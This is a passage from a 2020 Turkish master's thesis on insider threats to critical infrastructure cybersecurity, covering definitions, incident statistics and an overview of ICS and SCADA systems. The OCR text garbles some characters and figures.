


KRIiTiK ALTYAPILARIN SIBER GUVENLIGINDE iC TEHDIT ETKIiSi

Ugur ARAS

YUKSEK LISANS TEZi
BILGI GUVENLIGIi MUHENDISLiGi ANA BiLiM DALI

GAZIi UNIVERSITESI
FEN BiLIMLERI ENSTITUSU

HAZIRAN 2020



Ugur ARAS tarafindan hazirlanan “KRITIK ALTYAPILARIN SIBER GUVENLIGINDE iC
TEHDIT ETKISI” adl tez ¢alismasi asagidaki jiiri tarafindan OY BIRLIGI ile Gazi Universitesi
Bilgi Giivenligi Miihendisligi Ana Bilim Dalinda YUKSEK LISANS TEZI olarak kabul
edilmistir.

Damisman: Dog. Dr. Ibrahim Alper DOGRU
Bilgisayar Miihendisligi Ana Bilim Dal1, Gazi Universitesi

Bu tezin, kapsam ve kalite olarak Yiiksek Lisans Tezi oldugunu onayliyorum.

Baskan: Prof. Dr. Tiirksel KAYA BENSGHIR
Isletme Ana Bilim Dali, Ankara Hac1 Bayram Veli Universitesi

Bu tezin, kapsam ve kalite olarak Yiiksek Lisans Tezi oldugunu onayliyorum.

Uye: Dog. Dr. Aysun COSKUN
Bilgisayar Miihendisligi Ana Bilim Dal, Gazi Universitesi

Bu tezin, kapsam ve kalite olarak Yiiksek Lisans Tezi oldugunu onayliyorum.

Tez Savunma Tarihi: 30/06/2020

Jiiri tarafindan kabul edilen bu ¢alismanin Yiiksek Lisans Tezi olmasi i¢in gerekli sartlari yerine
getirdigini onayliyorum.

Prof. Dr. Sena YASYERLI

Fen Bilimleri Enstitiisit Mudura



ETiK BEYAN

Gazi Universitesi Fen Bilimleri Enstitiisii Tez Yazim Kurallarina uygun olarak hazirladigim

bu tez ¢alismasinda;

Tez i¢inde sundugum verileri, bilgileri ve dokiimanlar1 akademik ve etik kurallar
cercevesinde elde ettigimi,

Tiim bilgi, belge, degerlendirme ve sonuglar1 bilimsel etik ve ahlak kurallarina uygun
olarak sundugumu,

Tez calismasinda yararlandigim eserlerin tiimiine uygun atifta bulunarak kaynak
gosterdigimi,

Kullanilan verilerde herhangi bir degisiklik yapmadigima,

Bu tezde sundugum calismanin 6zgiin oldugunu,

bildirir, aksi bir durumda aleyhime dogabilecek tiim hak kayiplarini kabullendigimi beyan

ederim.

Ugur ARAS
30/06/2020



KRITIK ALTYAPILARIN SIBER GUVENLIGINDE iC TEHDIT ETKIiSI

(Ytksek Lisans Tezi)
Ugur ARAS

GAZI UNIVERSITESI
FEN BILIMLERI ENSTITUSU
Haziran 2020

OZET

Kritik altyapilar hemen her alanda oldugu gibi bilisim sitemleri araciligtyla isletilmektedir.
Bilgi ve iletisim teknolojilerinin kullanimi, sagladig1 bir¢cok fayda olmasina karsin kritik
altyapilar siber saldirilara agik hale getirmektedir. Siber saldirinin disaridan gelecegiyle
ilgili genel bir yanlis kan1 bulunmaktadir fakat giiniimiizde i¢ tehdit her gegen giin artan bir
yere sahiptir. Ayrica, i¢ tehdidin zarar verecegi sistemi zaten tantyor olmasi ve tespitinin ¢ok
daha gii¢ olmasi gibi kendine has 6zellikleri bu olguyu ¢ok yonlii bir arastirma konusu haline
getirmektedir. Bu ¢alismada, siber gilivenliginin saglanmasi hayati oneme haiz olan kritik
altyapilarda i¢ tehdit etkisi incelenmistir. I¢ tehdidin &nemi, nedenleri, motivasyonlari,
gelismis 1srarct tehdit ile iliskisi ortaya konduktan sonra i¢ tehdide karsi alinabilecek
onlemler belirtilmistir. Calismada, agik kaynak kodlu bir endiistriyel kontrol sistemleri bal
kiipii uygulamasi ile i¢ tehdidin tespiti Onerilmistir. Bal kiipiine gelen istekler bir SIEM
yazilimindan izlenerek goriiniirliik saglanmigtir. Sistem bir test senaryosu ile sinanarak i¢
agda kullanilan bir bal kiipii uygulamasinin kritik altyapilardaki i¢ tehdide kars1 giivenligi
artiracag tespit edilmistir.
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ABSTRACT

Critical infrastructures are operated through information systems, as in almost every field.
The use of information and communication technologies makes critical infrastructures
vulnerable to cyber attacks although it has many benefits. A very common misbelief is that
cyber attack will originate from the outside but nowadays the occurance of insider threat is
increasing everyday. The insider already knows the system. Besides, it is much more
complicated to detect threat, as it is hard to distinguish malicious network traffic from
legitimate traffic. These unique features of insider threat make this phenomenon a
sophisticated research subject. In this study, we examine insider effect on cyber security of
critical infrastructures which is crucial for national security. After describing the importance,
causes, motivations of insider threat and relations with APTs, the measures in the literature
that can be taken against it are specified. An open source ICS honeypot is proposed to detect
the threat. Network visibility is ensured with a SIEM software by monitoring the requests
which come to honeypot. The system has been tested with a scenario, and it has been found
that a honeypot used in the internal network will increase security against insider threats in
critical infrastructures.
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1. GIRIS

Bir {ilkenin can damarlar1 olarak adlandirilabilecek kritik altyapilar giiniimiizde her alanda
oldugu gibi bilgi teknolojilerine dayanmaktadir. Ulagimin, elektrigin, iletisimin olmadigi,
saglik hizmetlerinin verilemedigi ya da milli savunmaya ait bilgilerin diger iilkelerin eline
gectigi bir iilke i¢in milli giivenlikten bahsetmek miimkiin olmaz. Uzak bir ihtimal gibi
gorlinse de siralanan bu vakalarin yasanabilmesi ¢ok da zor degildir. Ciinkii dijitallesen
diinyanin bir geregi olarak her bir altyapi, kara, hava, deniz ve uzaydan sonra savasin 5.
boyutu sayilan siber uzayda® varlik gostermektedir. Dahasi siber diinyada bir saldiri
gerceklestirmek, gergek diinyada bir saldir1 gerceklestirmekten ¢cok daha diisiik maliyetli ve
daha az risklidir. Ayrica tespit ve teshisi de bir o kadar giictiir.

Kritik altyapr bilgi sistemleri gegmiste genis alana baglanmayan kapali sistemler olarak
algilandigindan siber giivenlige yonelik dnlemler diisiiniilmemistir [1]. Ancak Stuxnet ve
benzer olaylar kapali diye diisiiniilen sistemlere de sizilabilecegini gdstermistir. Dahasi
giiniimiizde artik bu sistemler cografi olarak farkli yerlerde bulunan diger sistemlerle de
iletisim kurmakta dolayisiyla genis alana baglanmakta hatta ag i¢inde bazi ug kullanicilar
internete erisim saglamaktadirlar. Bugiine kadar kritik altyapilarin siber giivenligine yonelik
yapilan ¢alismalar daha c¢ok disaridan gelebilecek tehditleri incelemislerdir. Bu ¢alisma
bugiine kadar yapilan ¢caligmalardan farkl: olarak kritik altyapilarin siber giivenligine yonelik

iceriden gelebilecek insan kaynakli tehditleri incelemektedir.

Y ontem olarak oncelikle i¢ tehdidin tanimi, siniflandirilmasi, motivasyonlari ortaya konmus
ve i¢ tehdide neden olan etkenler arastirilmistir. Bu bilgiler 1s18inda i¢ tehdide karsi
aliabilecek Onlemler belirlenmis, i¢ tehdidin tespiti ve azaltilmasina yonelik literatiirde
yapilmis ¢alismalar ayrintili olarak ele alinmistir. Yapilan degerlendirmeler neticesinde
kritik altyapilarda i¢ tehdidin tespitine yonelik bir endiistriyel kontrol sistemleri bal kiipii

onerilmis ve bir test senaryosu ile bal kiipiiniin etkinligi stnanmustir.

Verizon’un 2019 yilinda yapmis oldugu arastirmaya gore 2018 yilinda gerceklesen veri
sizintilarinin %34°1 i¢ tehdit kaynaklidir [2]. Ponemon Enstitiisiiniin arastirmasina gore i¢

tehdit kaynakli bir olayimn ortalama maliyeti 513 000 dolar civarindadir. Yillik bazda ise i¢

! NATO, Temmuz 2016’daki Varsova Zirvesi’nde kara, hava ve denizden sonra siber uzayi da yeni bir
operasyon alani olarak kabul etmistir.
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tehdit kaynakli olaylar bir sirkete 8.76 milyon dolar zarar verebilmektedir [3]. Sadece 2018

yilinda yasanan vakalar bile tarihin en maliyetli i¢ tehdit kaynakli veri sizintilar1 olmustur

[4].

Oteller zinciri Marriott firmasinin rezervasyon sistemi veri tabanindan yaklasik 500 milyon
miigteri bilgisi sizdirilmigtir. Firma giivenlik agigimi bir i¢ giivenlik araci vasitasiyla
ogrenmistir [5]. Tesla, Martin Tripp isimli isten ayrilmig bir ¢alisanini sirketin hassas ve
ticari sir niteligindeki bilgilerini yasa dis1 olarak ele gegirip 3. taraflara aktarmaktan dolay1
mahkemeye vermistir. Sirket, yaklasik 1 milyon dolar zarara ugradigini bildirmistir [6].
Kritik altyapilara bakildiginda ise Hindistan’a ait Punjab National Bank sahte SWIFT
transferlerinden dolay1 1,8 milyar dolar dolandirilmistir. Olay sonrasi Gokulnath Shetty
isimli bir miidiir yardimcis1t SWIFT sistemine yetkisiz olarak erisim yetkisine sahip olugunu
itiraf etmis ve sonrasinda tutuklanmistir [7]. ABD’de bulunan SunTrust bankasi, eski bir
caliganinin miisteri iletisim listelerini ¢almasi sonucu 1,5 milyona yakin miisteri hesap
bilgisinin kurum disina sizmasina sebep olmustur [8]. ABD’de bir kisinin AT&T isimli
telekomiinikasyon sirketindeki calisanlara, sirket agina zararli yazilim yiiklemeleri ve
telefonlarin SIM Kkilitlerini kirmalari i¢in 2012-2017 yillar1 arasinda 1 milyon dolardan fazla
riisvet verdigi ortaya ¢ikmistir [9]. I¢ tehdit kaynakli olaylarin biiyiik bir béliimiiniin de

kurum disina rapor edilmedigi degerlendirilmektedir [10].

2019 yilinda i¢ tehdidin maliyeti 2018’e gore %15 oraninda artmistir. Ayrica i¢ tehdit
kaynakli sorun yasayan firma sayisindaki artis Sekil 1.1°de gosterilmistir [4].

WINNRNRNNY WHNRRRRNY SR
2016 2017 2018

Sekil 1.1. I¢ tehditlerden zarar goren sirketlerin orani [4]
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Firmalar ve sirketler yasanan olaylarda hem maddi kayiplara, hem de itibar kaybina
ugramiglardir. 2018 yilinda yasanan i¢ tehdit kaynakli vakalar ¢ogunlukla maddi zarar
yaratmis olsalar da kritik altyapilarda meydana gelen i¢ tehdit kaynakli sizint1 ve ataklar
gecmiste, Snowden ve Manning vakalarinda oldugu gibi, ulusal giivenligi tehdit edecek

boyutlara da ulagmistir.

I¢ tehdidin tespitinin zor olmasi, herhangi bir giivenlik tedbirini agsmak zorunda olmamasi
ve kurum i¢i bilgiye sahip olmasi gibi etkenler siber giivenlik agisindan biiylik bir sorun
sahas1 yaratmaktadir. Bunun yaninda, kritik altyapilar gibi hassas tesis ve kurumlarda risk
faktorii cok daha biiylimektedir. Dolayisiyla kritik altyapr bilgi sistemlerinde i¢ tehdidi

savunmak da yillardir tizerinde ¢aligilan 6nemli bir ugras alanidir.

Tehlikenin farkinda olan devletler i¢ tehdidi ve savunma yontemlerini siber gilivenlik
stratejilerine, bilgi giivenligi ve siber giivenlik standartlarina dahil etmislerdir. ABD I¢ Isleri

Bakanlig1 web sitesinde i¢ tehditlerin azaltilmasina yonelik ayr1 bir alan ayirmistir [11].

I¢ tehdit, kurum iginde fiziksel ya da mantiksal olarak mesru erisim yetkisine sahip olan
kisinin bu yetkiyi bilingli ya da bilingsiz olarak kuruma zarar verecek sekilde kullanmasi
olarak tanimlanabilir. Her ne kadar bazi kaynaklar i¢ tehdidi tanimlarken bilgisiz ve
dikkatsiz kullanicilar igeren grubu tanima dahil etmeseler de giincel ¢aligsmalar [ 12-13] zarar
verme kastiyla hareket etmeyen personeli de i¢ tehdit kapsamina sokmaktadir. I¢ tehdit
tanimiyla ilgili diger bir sorun ise “i¢erideki” kavraminin kendisiyle alakalidir. Eski bir
calisan, taseron personel, kurum disindan destek saglayan kisi “i¢” tehdit olarak

tanimlanabilmektedir [14].

Kritik altyapilarda i¢ tehdide yonelik ¢alisma yapmanin en 6nemli sinirliligi ise konuyla
ilgili gergek veri seti elde etmenin bir hayli zor olmasidir. Bunun nedenti, i¢ tehdidin yarattigi
trafigin mesru trafikten ayirt edilmesinin yarattigi giicliiktiir. Bu nedenle bazi ¢alismalar

sentetik veri iretme yoluna gitmislerdir [15].

Calismanin 2. boliimiinde kritik altyap1 ve kritik altyap1 bilgi sistemlerine yonelik kavramsal
cerceve sunulmus, ayrica kritik altyapilarin korunmasi ve giivenligine yonelik standart ve
rehberler ele alinmistir. Bu boliimde ADB, AB ve Tiirkiye’nin kritik altyapilara yonelik

gerceklestirdigi yasal diizenlemelere ve gecmis faaliyetlerine yer verilmistir. 3. boliimde i¢
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tehdidin tanimi yapilmis, i¢ tehdide etki eden faktorler ve i¢ tehdidin motivasyonlari
anlatilms, i¢ tehdidin 6nemi arastirmalarla ve yasanmis olaylarla agiklanmistir. Ayrica kritik
altyapilarda i¢ tehdidin azaltilmasina yonelik yapilan ¢alismalar incelenmis ve bu bilgiler
1s18inda i¢ tehdidin azaltilmasina yonelik onlemlerden bahsedilmistir. 4. bdliimde i¢
tehditlerin tespiti amaciyla endiistriyel kontrol sistemlerinde ¢esitli protokolleri simiile
edebilen bir bal kiipli uygulamasi 6nerilmis, bal kiipiine gelen trafigin izlenmesi amaciyla
Splunk yazilimi kullanilmis ve Onerilen yontem bir test senaryosu araciliiyla

degerlendirilmistir. 5. boliimde ise sonuglar ve 6nerilere yer verilmistir.



2. KAVRAMSAL CERCEVE

Bu boéliimde kritik altyap1 ve kritik altyap1 bilgi sistemlerine yonelik tanimlamalar yapilmas,
ABD, AB ve Tiirkiyedeki kritik altyapi bilgi sistemlerinin korunmasina yonelik olusturdugu
yasal mevzuat incelenmistir. Ayrica kritik altyapilarin korunmasi ve giivenligine yonelik

standart ve rehberler ele alinmistr.

2.1. Kritik Altyapilar

Bilgisayar ve bilgisayar aglar1 o kadar hizli hayatimiza girmistir ki elektrik, su, haberlesme,
ulagim ve saglik gibi gilinliik hayatimizin olmazsa olmaz dgeleri de teknolojinin gelisimiyle
beraber ortaya ¢ikan tiim kolayliklardan zaman kaybetmeksizin faydalanmislardir. Tesis ve
altyapilarin “dijitallesmesi” ile beraber daha iyi bir izleme ve kontrol saglanmis, bu sayede
edinilen saglikli bilgilerle ariza tespit oranlar1 artmis ve siireglere miidahale yetenegi
kazanilmistir. Elektrik, su ve dogalgaz gibi iiretim, iletim ve dagitimi bir arada bulunduran
sebekeler “akill’” hale gelmistir. Tiim bu ¢abalarin asil amaci siiphesiz ki kullaniciya daha
etkin, kaliteli ve kesintisiz bir hizmet sunabilmektir. Fakat bir¢ok kolaylik saglamasina
ragmen sz konusu altyapilarin bilgi ve iletisim teknolojileri ile i¢ ige gegmesi bu hizmetleri
siber saldirilara karsi hassas duruma getirmistir. Kesintiye ugramasi ya da tutarh
caligmamasi1 durumunda {ilke capinda ciddi zararlara yol acabilecek elektrik, su, saglik,
kamu hizmetleri, iletisim, ulasim, savunma ve giivenlik gibi bilgi teknolojileri ile yonetilen

kritik altyapilarin giivenligi ulusal giivenlik i¢in de hayati bir konudur.

2.1.1. Tamimi, kapsam ve 6nemi

Kritik altyapilar tilkemizde Ulusal Siber Giivenlik Stratejisi ve 2013-2014 Eylem Plani ile
“isledigi bilginin gizliligi, biitlinliigl veya erisilebilirligi bozuldugunda can kaybina, biiyilik
Olcekli ekonomik zarara, ulusal giivenlik agiklarina veya kamu diizeninin bozulmasina yol

acabilecek biligsim sistemlerini barindiran altyapilar” olarak tanimlanmistir [16].

ABD I¢ Isleri Bakanlig “Kritik altyapi, is gdrememesi veya yikim fiziksel veya ekonomik
giivenlik veya halk sagligi veya asayis lizerinde ABD igin zayiflatici bir etkisi olan fiziksel

ve siber sistemleri ve varliklari tanimlar” seklinde tanimlamistir [17].
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AB ise “Kritik altyapi, hayati toplumsal islevlerin siirdiiriilmesi ig¢in gerekli olan bir varlik
veya sistemdir. Kritik bir altyapinin zarar gérmesi, dogal afetler, terérizm, sug faaliyeti veya
kotii niyetli davranis nedeniyle tahrip olmasi veya yikimi, AB'nin giivenligi ve

vatandaglarinin refahi i¢in 6nemli olumsuz etkiye sahip olabilir.” seklinde tanimlar [18].

2018 yili itibariyle ABD, AB ve Tiirkiye’nin kritik altyap1 sektorleri Cizelge 2.1°de

verilmistir.

Kritik altyapilarin korunmasi ve giivenligi konularinda ABD ve AB gibi diger birgok iilke
de yillar oncesinden {ilke politikalarin1 olusturmus ve gerekli yasal diizenlemelerini
yapmislardir. Bunun sebebi kritik altyapilara yonelik tehditlerin her gecen giin artiyor olmasi
ve ayni zamanda kritik altyapi sistemlerinde meydana gelebilecek zararlarin ulusal giivenligi

de tehlikeye atacak olmasindandir.

ABD I¢ Isleri Bakanlig1 2015 yil igin endiistriyel kontrol sistemlerine ydnelik 300 civari
atagin kurumlar tarafindan raporlandigini bildirmistir. Raporlanmayan ataklarin ise bunun
yaklagik 3 ya da 4 kat1 oldugu diisiiniildiigiinde iilkede giinde birden fazla endiistriyel kontrol

sistemlerine yonelik atagin meydan geldigi sonucuna ulagilmaktadir [19].

Cizelge 2.1. ABD, AB ve Tiirkiye kritik altyap: sektorleri [20,21,16]

ABD AB Tiirkiye
Su ve atik su sistemleri Su Su yonetimi
Bilgi Teknolojileri Bilgi iletisim Teknolojileri Elektronik Haberlesme
Enerji Enerji Enerji
Nakliye Sistemleri Tasimacilik Ulastirma
Finansal Hizmetler Finans Bankacilik ve Finans
Savunma Sanayi Kamu ve Yasal Diizen ve Emniyet Kritik Kamu Hizmetleri
Kimya Kimya ve Niikleer Sanayi
Tarim ve gida Gida
Saglik Saglik
Acil Hizmetler Uzay ve Arastirmalar
Barajlar
Tletisim
Niikleer Reaktor, Madde, Atiklar
Ticari Tesisler
Kritik Uretim
Devlet Tesisleri
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ABI Research isimli kurulusun yaptigi arastirmaya gore kritik altyapilarin giivenligine
yonelik yapilan harcamalarin 2023 ile beraber diinya ¢apinda 125 milyon dolart bulacagi
sOylenmistir. Arastirmada bilgi teknolojileri (BT) ile operasyonel teknolojiler (OT)
arasindaki giivenlik anlayis1 farkini kapatmanin kritik altyapilarin giivenligini saglamada
onemli bir etken oldugu belirtilmistir. Ayrica kritik altyapilarin siber glivenligindeki en
biiyiik engelleri, hiikiimetlerin kritik altyapilarin korunmasin siber giivenligin bir alt dali
olarak algilamasi ve konuyla ilgili idari ve yasal diizenlemelerin yapilmasindaki yavaslik

olarak tanimlamustir [22].

2.2. Kritik Altyap: Bilgi Sistemleri

Kritik altyapilar bankaciliktan sagliga, enerjinin iiretimi, iletimi ve dagitimindan su
sistemlerine, ulasimdan kritik tiretim tesislerine kadar ¢ok genis bir alana yayildig1 igin
birgok farkli kontrol sistemini ve bilgi teknolojisini barindirmaktadir. Her sektor kendine
has ihtiyaclar1 g¢ercevesinde farkli bilgi ve iletisim teknolojilerini kullanmaktadir. S6z
konusu teknolojilerin kullanimi sektorlere bilgiyi hizlica iletme ve yayma, siirecler {izerinde
kontrol ve izleme, otomasyon, raporlama ve anlik geri bildirim gibi birgok kolaylik sagliyor
olsa da siber tehdit ve riskleri de beraberinde getirmektedir. Ayrica kullanilan teknolojilerin
cesitliligi, kritik altyapilarda ortaya cikabilecek tehditlerin de ¢esitlenmesine bununla
beraber tiim kritik altyap1 sektorlerine uygulanabilecek genel gecer bir ¢dziimiin
belirlenebilmesinin ise zorlasmasina sebep olmaktadir. Bu yiizden iilkeler genellikle kritik
altyapilara yonelik genel kapsamli bir strateji ya da politika belirledikten sonra her sektdr bu

strateji ya da politikaya gore kendi 6zel dokiimanini hazirlamaktadir.

Karabacak [23], kritik altyapilar ile bilgi teknolojileri arasindaki iliskiyi su sekilde
belirlemistir:
1. Bilgi teknolojilerini kullanan kritik altyapilar
e Ulasim
e Bankacilik ve finans
e Saglik ve Acil Durum Hizmetleri
o Kiritik Kamu Servisleri
2. Tamamen bilgi teknolojilerinden olusan kritik altyapilar

e Telekomiinikasyon
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3. SCADA ile kontrol edilen veya izlenen kritik altyapilar
e Kiritik tiretim tesisleri
e Enerji
e Barajlar
e Sulama Sistemleri
e Elektrik Uretim ve Dagitim Sistemleri
e Petrol Rafinerileri

o Fabrikalar

Kritik altyapilarin bir kism1 hizmet vermek i¢in bilinen bilisim sistemlerini kullanirken diger

bir kismi ise Endiistriyel Kontrol Sistemleri (EKS) olarak adlandirilan 6zel bilisim sistemleri

tarafindan izlenmekte ya da yonetilmektedir. Endiistriyel Kontrol Sistemleri, topolojilerine

ve i¢erdikleri bilesenlere gére SCADA (Supervisory Control and Data Acquisition, Merkezi

Denetim ve Veri Toplama) ve Dagitik Kontrol Sistemleri (DKS) olarak ikiye ayrilmaktadir.

Bu durumda, bilisim sistemleri agisindan, kritik altyapt bilgi sistemlerininin dort farkli

kategoride ele alinmas1 Sekil 2.1°de gosterilmistir [24].

¢ Bilgi sistemleri, bir kuruma ve paydaslarina hizmet veren bilgisayar sistemleridir.

e [letisim sistemleri, cografi olarak ¢ok genis bir alana yayilmis bilesenlerden olusan, pek
cok kurum ve kurulusa iletisim hizmeti saglayan sistemlerdir.

e SCADA sistemleri, cografi olarak ¢ok genis bir alana yayilmis bir sistemin bilesenlerini
merkezi olarak izlemek ve kontrol etmek i¢in kullanilan sistemlerdir.

e Dagitik kontrol sistemleri, belli bir tesis ve konumla sinirlt bir endistriyel siireci izlemek

ve kontrol etmek igin, tesisin tiimiine yayilmis kontrol bilesenleri bulunan sistemlerdir.

KRITIK ALTYAPI BiLGI
SISTEMLERI

Bilisim Sistemleri

‘ Bilgi Sistemi | ‘ iletisim ‘ SCADA Dagitik Kontrol
~_ Sunuculari Altyapilar: Sistemleri Sistemleri

’ Tekil sistemler | ’ Genis alan altyapi sistemleri ‘ | Tekil sistemler ‘

Endustriyel
Kontrol Sistemleri

o]
L

Sekil 2.1. Kritik altyap1 bilgi sistemleri [24]



2.2.1. Operasyonel teknoloji, endiistriyel kontrol sistemleri ve SCADA

Operayonel teknoloji (OT) kavrami endiistriyel operasyonlar1 yonetmek i¢in kullanilan ve
idari operayonlar disinda kalan bilgisayar sistemleri seklinde tanimlanmaktadir. Uretim hatt1
yonetimi, madencilik operasyonlari kontrolii, yakit ve gaz sistemleri izleme gibi sistemler
operasyonel sistemlerin i¢inde sayilmaktadir [25]. Operasyonel teknoloji, fiziksel cihazlarin
calismasini izleyen ve kontrol eden bir donamim ve yazilim kategorisi olarak da

tanimlanmaktadir [26].

Endistriyel kontrol sistemleri (EKS), operasyonel teknoloji igindeki biiyiik bir boliimii ifade
etmektedir. Endiistriyel siiregleri izlemek ve kontrol etmek ic¢in kullanilan sistemlerin
biitiiniidiir. EKS’ler genellikle erisilebilirlik konusunda hassas olan gorev kritik
uygulamalardir. Bircok EKS programlanabilir mantiksal kontrolorler (PLC, programmable
logic controller) tarafindan yonetilen siire¢ kontrol sistemi ya da bir PLC veya diger yigin

islem kontrol aygitlar1 kullanan dagitik kontrol sistemidir.

EKS’ler ¢ogunlukla SCADA sistemleri tarafindan yonetilirler. SCADA sistemleri
operatorlerin bir sistemin durumunu kolayca gézlemlemesi, belirlenen esik degerlerin
disinda c¢alismayr belirten herhangi bir alarm {iretmesi veya kontrol altindaki siireci
yonetmek i¢in sistem ayarlarinin girilebilmesi icin grafiksel bir kullanici ara birimi saglayan

sistemlerdir. Bu sistemler arasindaki iliski Sekil 2.2°de sunulmustur [25].

EKS

Sekil 2.2. OT, EKS ve SCADA iliskisi [25]
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SCADA sistemleri, merkezi veri ediniminin kontrol kadar 6nemli oldugu dagitik varliklar
kontrol etmek i¢in kullanilir. Bu sistemler, su dagitim ve atik su toplama sistemleri, petrol
ve dogal gaz boru hatlari, elektrik iletim ve dagitim sistemleri, demir yolu ve diger toplu
tasima sistemleri gibi dagitim sistemlerinde kullanilmaktadir. SCADA sistemleri, veri
edinim sistemlerini, veri aktarim sistemleri ve HMI (Human-Machine Interface) yazilimi ile
entegre ederek ¢ok sayida islem girdisi ve ¢ikisi icin merkezi bir izleme ve kontrol sistemi
sunmaktadir. SCADA sistemleri saha bilgilerini toplamak, merkezi bir bilgisayar tesisine
aktarmak ve bilgiyi grafiksel veya metinsel olarak operatore gostermek i¢in tasarlanmuistir,
boylece operatdriin tiim sistemi gercek zamanli olarak merkezi bir konumdan izlemesine
veya kontrol etmesine izin verir. Bireysel sistemin karmasikligina ve kurulumuna bagh
olarak, herhangi bir bireysel sistemin, islemin veya gorevin kontrolii otomatik olabilir veya

operator komutlari ile gergeklestirilebilir [27].

SCADA sistemleri hem donanim hem de yazilimdan olusur. Tipik donanim, bir kontrol
merkezinde konumlandirilmis bir ana kontrol {initesine (Master Terminal Unit, MTU),
iletisim ekipmanina (6rnegin, radyo, telefon hatti, kablo veya uydu) ve aktiiatorleri kontrol
eden ve/veya sensorleri izleyen bir uzak terminal birimi (Remote Terminal Unit, RTU) veya
programlanabilir mantiksal kontrolorden (Programmable Logic Controller, PLC) olusan bir
veya daha fazla cografi konumda bulunan tesise sahiptir. RTU veya PLC, yerel siireci
kontrol ederken MTU, RTU giris ve ¢ikislarindan gelen bilgileri depolar ve isler. Iletisim
donanimi, MTU ile RTU'lar veya PLC'ler arasinda bilgi ve veri aktarimini saglar. Yazilim,
sisteme neyin ne zaman izlenecegini, hangi parametre araliklarinin kabul edilebilir oldugunu
ve parametrelerin kabul edilebilir degerlerin disina ¢iktiginda hangi eylemin baglatilacagini
bildirecek sekilde programlanmistir. Koruyucu bir role gorevinde gibi olan akilli elektronik
aygit (Intelligent Electronic Device, IED), dogrudan SCADA sunucusuyla haberlesebilir
veya yerel bir RTU, verileri toplamak ve SCADA sunucusuna iletmek i¢in IED'leri
sorgulayabilir. IED'ler ekipmani ve sensorleri kontrol etmek ve izlemek i¢in dogrudan bir
arayliz saglar. IED'ler dogrudan SCADA sunucusu tarafindan sorgulanip kontrol edilebilir
ve ¢ogu durumda SCADA kontrol merkezinden dogrudan talimat almadan hareket etmesini
saglayan yerel programlamaya sahiptirler. SCADA sistemleri genellikle sistem mimarisine
yerlestirilmis dnemli bir yedeklilige sahip, hataya dayanikli sistemler olarak tasarlanmistir

[27].
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Sekil 2.3, bir SCADA sisteminin bilesenlerini ve genel konfigiirasyonunu gostermektedir.
Kontrol merkezi bir SCADA sunucusu (MTU) ve iletisim yonlendiricilerini barindirir. Diger
kontrol merkezi bilesenleri arasinda, insan-makine arayiizii (HMI, Human-Machine
Interface), miihendislik is istasyonlar1 ve bir yerel alan ag1 ile bagli olan veri tarihgisi yer
alir. Kontrol merkezi, sahadan toplanan bilgileri toplar ve giinliige kaydeder, bilgileri insan-
makine arayliziine goriintiiler ve tespit edilen olaylara gore eylemler olusturabilir. Kontrol
merkezi ayrica merkezi alarm, trend analizleri ve raporlamadan sorumludur. Saha tesisleri,
aktiiatorlerin yerel kontroliinii gergeklestirir ve sensorleri izler. Saha tesisleri ayrica, saha
operatdrlerinin genellikle ayr1 bir gevirmeli modem veya WAN baglantisi iizerinden uzaktan
teshis ve onarim yapmasina izin veren bir uzaktan erisim 0zelligi ile donatilmigtir. Seri
iletisim tlizerinden ¢alisan standart ve tescilli iletisim protokolleri telefon hatti, kablo, fiber,
mikrodalga, uydu ve radyo frekansi gibi teknikler kullanilarak kontrol merkezi ve saha
tesisleri arasinda bilgi aktarimi saglar. MTU-RTU iletisim mimarileri uygulamalar arasinda

farklilik gostermektedir [27].

Kontrol Merkezi —_
——— Saha Tesisi 1 —

Miihendislik
Is Istasyonlar @m
HMI Telefon, Kirahik

= Devre veya Modem PLC

e || | Gii¢ Hatta
'j C‘~ :‘ Tabanh fletisim : T
a —— Saha Tesisi 2 —
Radyo, =
Mikrodalga 0
veya Hiicresel e

Genis Alan Afn IED

%ﬁg Karth

— Saha Tesisi 3 —

Kontrol Sunucusu Yonlendiriciler @ i
Veri (SCADA - MTU) Genis Alan e —
Tarihcisi O - e ) Modem =
RTU

Sekil 2.3. SCADA sistemi bilesenleri [27]

Bilgi teknolojileri (BT) ve operasyonel teknoloji (OT) yakinlasmasi

Baslangicta kiiciik adalar halinde ve herhangi bir genis alana baglanmadan nispeten
yalitilmis bir sekilde isletilen operasyonel teknoloji aglar1 zaman gegtikce genis alan
baglantilar ile birbirine baglanmaya, internete agilmaya ve bdylece bilgi teknolojileri ile
benzer protokolleri ve standartlar1 kullanmaya baslamiglardir. Endiistriyel kontrol
sistemlerine veya operasyonel teknolojiye sahip kurumlarda bulunan bilgi teknolojileri

yoneticileri ve personeli operasyonel teknolojiyi iceren aglar ve cihazlarin da
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giivenliklerinden sorumlu duruma gelmiglerdir [28]. Bugiin teknolojinin geldigi noktada
nesnelerin interneti (IoT) , akilli sebekeler ve endiistri 4.0 gibi kavramlarla bilgi teknolojileri
ve operasyonel teknolojiler i¢ ice gegmis durumdadir. Bunun en belirgin oldugu nokta da
endiistriyel nesnelerin interneti (IToT) kavramidir denilebilir. Gelecekte BT ve OT
yakinlagsmasini gergeklestirebilmis sirketlerin ayakta kalabilecegi ongoriilmektedir [29].
Bununla birlikte bu iki teknolojinin entegrasyonu neticesinde giivenlik hususunun yeniden
degerlendirilmesi gerekmektedir. Ciinkii operasyonel teknolojiler bir uzak baglanti
saglayabilmesinden ziyade temelde gerekli islevi yerine getirebilmek amaciyla

tasarlanmiglardir. Dolayisiyla giivenlik zafiyetlerine agik konumdadirlar.

2.2.2. Kritik altyap1 kontrol sistemleri ile bilgi sistemleri arasindaki farklar

Kritik altyapilara hizmet eden bilgi sistemleri, bilisim sistemleri ve kontrol sistemlerinden
olusmaktadir. Operasyonel teknoloji kavrami, EKS ve SCADA’y1 da igine alarak kritik
altyap1 kontrol sistemleri igin kullanilabilecek en genis terim olarak diisiiniilebilir. Bilgi
teknolojisi her tiirlii elektronik veriyi olusturmak, islemek, saklamak, giivence altina almak
ve degistirmek i¢in kullanilirken, operasyonel teknoloji fiziksel siirecin izlenmesi ve
kontrolii i¢in kullanilir. Dolayisiyla giivenlik acisindan bakildiginda bilgi teknolojisi bilgiyi
korumaya c¢alisirken, operasyonel teknoloji fiziksel siireglerin ve operasyonlarin

yiiriitiilmesini korumak ister.

Ornegin, bilgi teknolojisinde bir bilgisayar ya da sunucuda saldir1 ile karsilasildiginda bir
tedbir olarak agin o boliimii kapatilmaktadir. Buna karsin olasi bir atak durumunda OT’nin
temel gorevi kontrolciiler, akilli elektronik cihazlar gibi operasyon takimlariin ¢aligmasini
siirdiirmektir. Onemli olan siirecin, operasyonun devamini saglamaktir. Sunuculardaki veri
